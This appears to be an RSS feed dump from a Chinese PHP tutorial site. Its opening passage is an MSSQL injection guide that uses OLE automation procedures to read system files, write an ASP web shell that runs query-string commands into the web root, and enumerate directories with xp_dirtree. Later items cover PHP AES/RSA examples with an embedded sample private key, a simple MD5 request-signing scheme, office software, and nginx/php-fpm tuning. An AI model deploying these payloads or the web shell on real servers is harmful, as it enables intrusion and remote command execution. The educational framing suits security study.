declare @line varchar(8000) 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:boot.ini’, 1 
exec @ret = sp_oamethod @f, ‘readline’, @line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_oamethod @f, ‘readline’, @line out 
end
declare @o int, @f int, @t int, @ret int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:inetpubwwwrootfoo.asp’, 1 
exec @ret = sp_oamethod @f, ‘writeline’, NULL, 
‘<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>’
declare @o int, @ret int 
exec sp_oacreate ‘speech.voicetext’, @o out 
exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ 
exec sp_oasetproperty @o, ‘speed’, 150 
exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel servers are belong to,us’, 528 
waitfor delay ’00:00:05′
‘; declare @o int, @ret int exec sp_oacreate ‘speech.voicetext’, @o out exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ exec sp_oasetproperty @o, ‘speed’, 150 exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel servers are belong to us’, 528 waitfor delay ’00:00:05′-
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree ‘c:’
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree ‘c:’
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
这里介绍的文章就用于交流学习,请与用于非法用途。
]]>
http://www.php100.com/9/20/19489.html/feed 0
PHP 数据加密的方法 http://www.php100.com/9/20/19485.html http://www.php100.com/9/20/19485.html#respond Thu, 01 Aug 2019 02:07:14 +0000 http://www.php100.com/9/20/19485.html
环境 Apache PHP-7.0.12

加密解决了什么问题:

1.防止通信内容被窃听;

2.防止通信内容被篡改

加密类型:

1.对称加密:加密与解密使用的是同一个秘钥,例:DES(Data Encryption Standard),1977-1999年,1999年被破解;AES(Advance Encryption Standard),目前最流行的对称加密算法

2.非对称加密:RSA

AES 加密 / 解密

1.使用PHP加密/解密函数 

openssl_encrypt/openssl_decrypt

注意:

有很多例子使用的是PHP
mcrypt_encrypt() 函数,官网给我的解释:

This function has been DEPRECATED as of PHP
7.1.0. Relying on this function is highly discouraged.

//获取可用的密码加密算法列表

//$methods = openssl_get_cipher_methods();

//var_dump($methods);

# AES加密演示

//明文(要加密的内容)

$str = "这是测试用例 我是明文";

//秘钥(用例:使用uniqid()函数生成了一个唯一ID)

$key = "5d3fb4acb2292";

//加密算法

$method = "AES-128-CBC";

//加密向量(要求18个字节)

$iv = "1234567812345678";

$encrypt_str = openssl_encrypt($str, $method, $key, 0, $iv);

var_dump("AES加密结果:".$encrypt_str);

# AES解密演示

//$encrypt_str AES加密后产生的密文

//$key 秘钥(同上)

$decrypt_str = openssl_decrypt($encrypt_str, $method, $key, 0, $iv);

var_dump("AES解密结果:".$decrypt_str);

RSA 加密

1.公/私钥加密算法,属于非对称加密:

2.优点:极难被破解;

3.缺点:速度慢,运算次数多,不适合加密长文本;

//公钥(项目中可在线生产亦可自己生成)

$PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApJJ7D/U9lHLNQdl4LZSr

jNvdCelIraMnSD/iujWxyw/QDLXPCtP06ll42JURGlYaO2DU5c5BKEUF0alyzlE9

XiHRXPl0LabI/CjGtrIB4RApy1PjkQ31QOt+9R2Nmb7RUkfZwnCWHBlNVnwj4U6J

woccrlUdElBWU5twFc2PNPbMR6nA/ldUwDpcveNHNp57BrgYfUFcLrjmf2LH6c7X

ngBNPbG5ha5pmsaXm8MAqBRtAvIwvUsvJLIr+XRc27pCJFe/1MtS4hHhTPE4un/z

Y/tIrpqm6MimdJcs8oqEQPoztfs5BTNu2jVgrKwtWExDXODWmHemQoaCwzgt3wMy

3wIDAQAB

-----END PUBLIC KEY-----";

//私钥(项目中可在线生产亦可自己生成)

$PRIVATE_KEY = "-----BEGIN PRIVATE KEY-----

MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkknsP9T2Ucs1B

2XgtlKuM290J6UitoydIP+K6NbHLD9AMtc8K0/TqWXjYlREaVho7YNTlzkEoRQXR

qXLOUT1eIdFc+XQtpsj8KMa2sgHhECnLU+ORDfVA6371HY2ZvtFSR9nCcJYcGU1W

fCPhTonChxyuVR0SUFZTm3AVzY809sxHqcD+V1TAOly940c2nnsGuBh9QVwuuOZ/

YsfpzteeAE09sbmFrmmaxpebwwCoFG0C8jC9Sy8ksiv5dFzbukIkV7/Uy1LiEeFM

8Ti6f/Nj+0iumqboyKZ0lyzyioRA+jO1+zkFM27aNWCsrC1YTENc4NaYd6ZChoLD

OC3fAzLfAgMBAAECggEAUcCieW7uREwzQr7xQFNWVQbzavUEMZ2W6gEydCYwSBt2

0pmOXGamh7QioBSNBnQ3W7/igrZPD94Z4ek3Kt6YiaZrBrC00ejEdt8at6791/vb

hzIJHgm9B5701nbz3Kg5+5HNzxV2vEalcI0Cle4Z6RSNXtzRMEPQXoAc0ffnZ/tV

033zAN4nWb9zeLw03/D0nbcpaYA/WbwqsNiTxbbi0s54oTsaOTMBBAK9oH9H2M5J

506iINcKniyMi6i0cf/cQ+tP6VUCOMHdWm/zJmQ5s2eU/2SowSKMXMLIGUH2Q4AX

Z2htX4YwvdHGlGA5yPuiMznkFidVcERfbVl9yi54YQKBgQDQYqj2bb0bvD8YuvXx

htdBQrxiX53pZ1sVoh5SMxD+Lq6tpn4UtOJw6tpE7tgONmWRaKCH10fgX5nQoXPJ

0Y02qiDyk/TkE0OGiYRTjjkjY3yPkBIz9KRCoIUcwirEfWdzmjFLTq9hiaGo9JXN

HcLXOgpAbiQe+qXf9x/waWB/hQKBgQDKLQB9Ep9A6UFlumXaEr971A7HcQI2BsfP

kRfCcT1rphnENHCa37o+5i6tTImAXI+aayp9Jpv0rXLbzFbBkdUdUDINulXSsLRT

bq3ttbu5c+NG21XW1fvVqf4VYOP7u/l0Z2eBIsg9uLswS3zltTG8ikm+RKhMf1DV

PDAOoLmMEwKBgDn0po9a9/Rlx5qmLM7OtMFGwUQO2clXYILEwvATmc9HxncvTfOO

V0gWWTxAvUA+qsLlOXhuTGQ/0nSu4pgnusGQUXeF5N8l6Grbhj0C2itYeQUoiZd/

m8uX/01/Rwu84O/K25jZOnfDIn3uAFe6xjy7vKwstckT5txCS9S+SgNNAoGAbvLl

Sr32cUvQXMA+9r7FIHJOLfsBaJ6t9mW8cTNtrm63wym4BfXzImN1iBrxdmTVVbur

1IRkn5Cz8JUhoxahqnWBEnGIeZgJTaP2hPXvcCV9uzvQzpYdnrKsQhUq59HPYqcA

cSiiVOTUrPswLmsSQVJuh6Dr7xcLSAnAobZoPMsCgYEAsJuY5RcB1sjYortRNsKb

KHLiLI93P0MFF46V/343d3BU7TZfETg703Mj2AfOAGTM2p2BkHFri3l+4oigMqpr

hAp4hNq4KFK2SCjzedrLV7QIgtp/uMZ+q/yhRtiG8kSWlI9c0Un00+KqIwFqfwAB

l1zOX5QcMa1X7eWSvZ559ko=

-----END PRIVATE KEY-----";

//待加密明文

$data = "这是RSA待加密明文";

//用于接收加密后的密文

$content_encrypt = "";

 # 私钥加密

openssl_private_encrypt($data, $content_encrypt, $PRIVATE_KEY, 1);

var_dump("私钥加密结果:".$content_encrypt);

 # 公钥解密

//$content_encrypt 私钥加密后的密文

//用于接收解密后的明文

$content_decrypt = "";

openssl_public_decrypt($content_encrypt, $content_decrypt, $PUBLIC_KEY, 1);

var_dump("公钥解密结果:".$content_decrypt);

项目中 API 交互方式之 —- 签名 / 验签

1. 新建 text.php 文件 —— 生成签名

//根军 MD5()函数的不可逆性进行签名校验

//首先必须要有 $appKey与$secretKey

$appKey = "5d3fb4acb2292";

$secretKey = "5d3fb4acb22925d3fb4acb22925d3fb4acb2292";

$url = "localhost/text_sig.php";

//待传递的参数

$params['appKey'] = $appKey;

$params['name'] = "张三";

$params['age'] = "26";

$params['sex'] = "男";

$params['root'] = "admin";

$params['password'] = "123456";

$params['time'] = time();

//获取签名

$params['sig'] = createSig($params,$secretKey);

$param_str = http_build_query($params);

$url = $url.'?'.$param_str;

var_dump($url);

//生成签名

function createSig($params,$secretKey){

    //对参数进行排序

    ksort($params);

    $str = http_build_query($params);

    $str .= $secretKey;

    return md5($str);

}

2. 使用 text.php 文件得到的 URL 访问 -> 服务端 text_sig.php 文件 ——- 验证签名

//获取传值

$get = $_GET;

//获取appKey

$appKey = $get['appKey'];

//根据appKey获取存储在数据库中对应的secretKey

$secretKey = "5d3fb4acb22925d3fb4acb22925d3fb4acb2292";

//判断接口是否过期

if (abs($get['time'] - time()) > 100){

    die("Time Out");

}

//获取签名

$sig = $get['sig'];

//将签名从参数中剔除

unset($get['sig']);

//对参数进行排序

ksort($get);

//将参数数组转为'&'连接的字符串

$str = http_build_query($get);

//参数字符串后拼接$secretKey

$str .= $secretKey;

//使用MD5加密

$md5_str = md5($str);

//将得到的加密后的结果与签名对比

if ($sig === $md5_str){

    var_dump("验签成功");

}else{

    var_dump("验签失败");

}

注意:以上仅为学习笔记,所以较为简单,不够严谨。

1.实际项目中须优化使用;

2.AES 与 RSA 加密方式最好与签名 / 验签配合使用,以防止秘钥在交互过程中被窃听并篡改。

]]>
http://www.php100.com/9/20/19485.html/feed 0
PHPOA办公系统工作日志功能,完成对工作的总结与部署 http://www.php100.com/9/20/19477.html http://www.php100.com/9/20/19477.html#respond Thu, 01 Aug 2019 02:07:10 +0000 http://www.php100.com/9/20/19477.html 如果说日程安排是对将要进行的工作有计划的安排,那么工作日志就是对做过的工作一次回顾和整理。日程安排可以预先未雨绸缪,工作日志可以为损失亡羊补牢。这两者相辅相成,共同发挥着作用。

而信息化时代的开启,也让企业进入到信息化办公时代,用纸张写工作日志当然不会错,但是我们也可以与时俱进,依赖更先进的工作工具,例如PHPOA办公系统的工作日志功能。

打开PHPOA办公系统,进入个人办公页面,点击“工作日志”模块,页面呈现出两个功能按钮,“日志管理”和“新增日志”。那么它有什么用呢?且听PHPOA负责人慢慢详解:

PHPOA办公系统工作日志功能,完成对工作的总结与部署

一、日志管理:

OA办公系统日志管理以条状呈现,页面清爽,让人一目了然。这个模块主要是整合所有的工作日志,把写过的工作日志做一次详细的归纳与整理。

1、查看详情:

如果你想查询某天写的工作日志,只需找到当天的日期,点击相应的内容,即可实现详情查看。

PHPOA办公系统工作日志功能,完成对工作的总结与部署

2、评论详情:

OA办公系统工作日志可以分享给全体员工查看,也可以自己查看,当然也可以分享给相关指定人查看(例如领导、组员),当日志分享出去,看到的员工也可以对你的工作日志进行评价,形成互相学习、互相补充的良性气氛。

PHPOA办公系统工作日志功能,完成对工作的总结与部署

3、修改/删除工作日志

在日志管理页面,如果要针对某条日志进行修改或删除,将光标移到日志主题位置,会马上出现编辑和删除的按钮提示,即可进行编辑与删除操作。

PHPOA办公系统工作日志功能,完成对工作的总结与部署

二、新增日志:

在工作日志模块里,点击“新增日志”,即可进行工作日志的增加工作,日志设置里可以设定为“个人日志”或“工作日志”,个人日志只能自己查阅,工作日志可以分享给相关人员查阅,这是二者的区别。

当选择完成后,即可填写相应的内容,工作日志主要是对之前工作的一次总结,以及对将来工作的一次粗略计划,还可以反映目前工作所碰到的难题等等。

PHPOA办公系统工作日志功能,完成对工作的总结与部署

PHPOA的移动端也实现了工作日志的功能,操作与电脑端一致,界面有所区别。

PHPOA办公系统工作日志功能,完成对工作的总结与部署

PHPOA软件!专业OA办公软件开源服务提供商,采用PHP+MYSQL开源语言,一直致力于应用管理软件基层研发,现己推出企业、政府、集团、SAAS等应用平台!而且,PHPOA企业运营管理平台还能通过增减功能模块,让购买系统的价格进行调整,来满足不同企业的办公需求

]]>
http://www.php100.com/9/20/19477.html/feed 0
PHP环境-服务器并发优化 http://www.php100.com/9/20/19466.html http://www.php100.com/9/20/19466.html#respond Thu, 01 Aug 2019 02:07:09 +0000 http://www.php100.com/9/20/19466.html 1.请求异步化

将系统的请求异步处理。

2.优化nginx-php-fpm

高并发情况下,系统会出现超时和等待处理的情况

2.1 php-fpm 参数优化

request_terminate_timeout=180

//解决Nginx报502 Bad Gateway错误

pm.max_children=1000

//增加PHP进程数,增加并发处理能力;

此参数可根据服务器内存情况配置,每个进程大概占用20多M内存。

pm.max_requests=10000

//增加PHP单进程处理的请求数,防止大量进程同时重启造成的不可用风险

listen.backlog=65535

//解决高并发下TCP连接过多,Nginx报500的错误。

2.2 nginx 调优

location ~ .php$ {
      fastcgi_connect_timeout 180 ;
      fastcgi_send_timeout 180 ;
      fastcgi_read_timeout 180 ;
 }
//解决Nginx报504 Gateway Time-out错误

3. linux内核调优

1.	修改TCP协议栈并发连接 backlog 设置
net.core.somaxconn=32768
net.core.netdev_max_backlog=32768
net.ipv4.tcp_max_syn_backlog=32768
2.	修改TCP协议栈连接追踪设置
net.nf_conntrack_max=655360
net.netfilter.nf_conntrack_max=655360
net.netfilter.nf_conntrack_tcp_timeout_time_wait=30
3.	设置可用端口范围
net.ipv4.ip_local_port_range='1000 65535'
4.	放开服务器最大文件句柄65535的限制
fs.file-max=2097152
sysctl -w fs.nr_open=2097152
//修改系统全局允许分配的最大文件句柄数
ulimit -n 1048576
//设置当前会话/进程打开文件句柄数
soft    nofile      1048576
hard   nofile      1048576
//修改/etc/security/limits.conf配置中允许用户/进程打开文件句柄数
]]>
http://www.php100.com/9/20/19466.html/feed 0
Nginx开启php-fpm状态页及状态详解 http://www.php100.com/9/20/19468.html http://www.php100.com/9/20/19468.html#respond Thu, 01 Aug 2019 02:07:09 +0000 http://www.php100.com/9/20/19468.html 说明

php-fpm和nginx一样,内建了个状态页,可以通过该状态页了解监控php-fpm的状态。

1、开启开启 php-fpm 状态页

#找到php的安装目录下的www.conf文件,添加pm.status_path配置项。如:我的php安装目录为/usr/local/php,则www.conf文件位于/usr/local/php7/etc/php-fpm.d目录下,添加以下内容

[root@localhost# cd /usr/local/php/etc/php-fpm.d

[root@localhost php-fpm.d]# vim www.conf

pm.status_path = /php_fpm_status

Nginx开启php-fpm状态页及状态详解

php_fpm_status名称可自行定义,这里我用php_fpm_status

特别说明:你的服务器配置文件不一定叫 www.conf ,请根据自己的配置设置;也可以直接把 pm.status_path = /php_fpm_status 添加到 php-fpm.conf 中,但是,一定要添加到 php-fpm.conf 文件中的最后,否则重启php-fpm时会出现以下错误:

Nginx开启php-fpm状态页及状态详解

2、Nginx配置

在nginx的配置文件中添加以下配置。

  1. location = /php_fpm_status {
  2. fastcgi_pass 127.0.0.1:9000;
  3. fastcgi_index index.php;
  4. fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
  5. include fastcgi_params;
  6. }

特别说明:这里的location最后用=号,如我的配置location = / php_fpm_status,因为=的优先级最高,如果匹配成功后,就不会再匹配其它选项了。

3、重启Nginx、php-fpm使配置生效

[root@localhost php-fpm.d]# nginx -s reload

[root@localhost php-fpm.d]# pkill php-fpm

[root@localhost php-fpm.d]# php-fpm

4、浏览器访问http://192.168.0.117/php_fpm_status,本机IP为192.168.0.117

Nginx开启php-fpm状态页及状态详解

Nginx开启php-fpm状态页及状态详解

pm.status_path 参数详解

pool fpm池子名称,大多数为www
process manager 进程管理方式,值:static, dynamic or ondemand. dynamic
start time 启动日期,如果reload了php-fpm,时间会更新
start since 运行时长
accepted conn 当前池子接受的请求数
listen queue 请求等待队列,如果这个值不为0,那么要增加FPM的进程数量
max listen queue 请求等待队列最高的数量
listen queue len socket等待队列长度
idle processes 空闲进程数量
active processes 活跃进程数量
total processes 总进程数量
max active processes 最大的活跃进程数量(FPM启动开始算)
max children reached 进程最大数量限制的次数,如果这个数量不为0,那说明你的最大进程数量太小了,请改大一点。
slow requests 启用了php-fpm slow-log,缓慢请求的数量

pm.status_path 显示样式

1、json格式

Nginx开启php-fpm状态页及状态详解

2、xml格式

Nginx开启php-fpm状态页及状态详解

3、html格式

Nginx开启php-fpm状态页及状态详解

4、full格式

Nginx开启php-fpm状态页及状态详解

5、full 显示项

pid 进程PID,可以单独kill这个进程.
state 当前进程的状态 (Idle, Running, …)
start time 进程启动的日期
start since 当前进程运行时长
requests 当前进程处理了多少个请求
request duration 请求时长(微妙)
request method 请求方法 (GET, POST, …)
request URI 请求URI
content length 请求内容长度 (仅用于 POST)
user 用户 (PHP_AUTH_USER) (or ‘-‘ 如果没设置)
script PHP脚本 (or ‘-‘ if not set)
last request cpu 最后一个请求CPU使用率
last request memorythe 上一个请求使用的内存
]]>
http://www.php100.com/9/20/19468.html/feed 0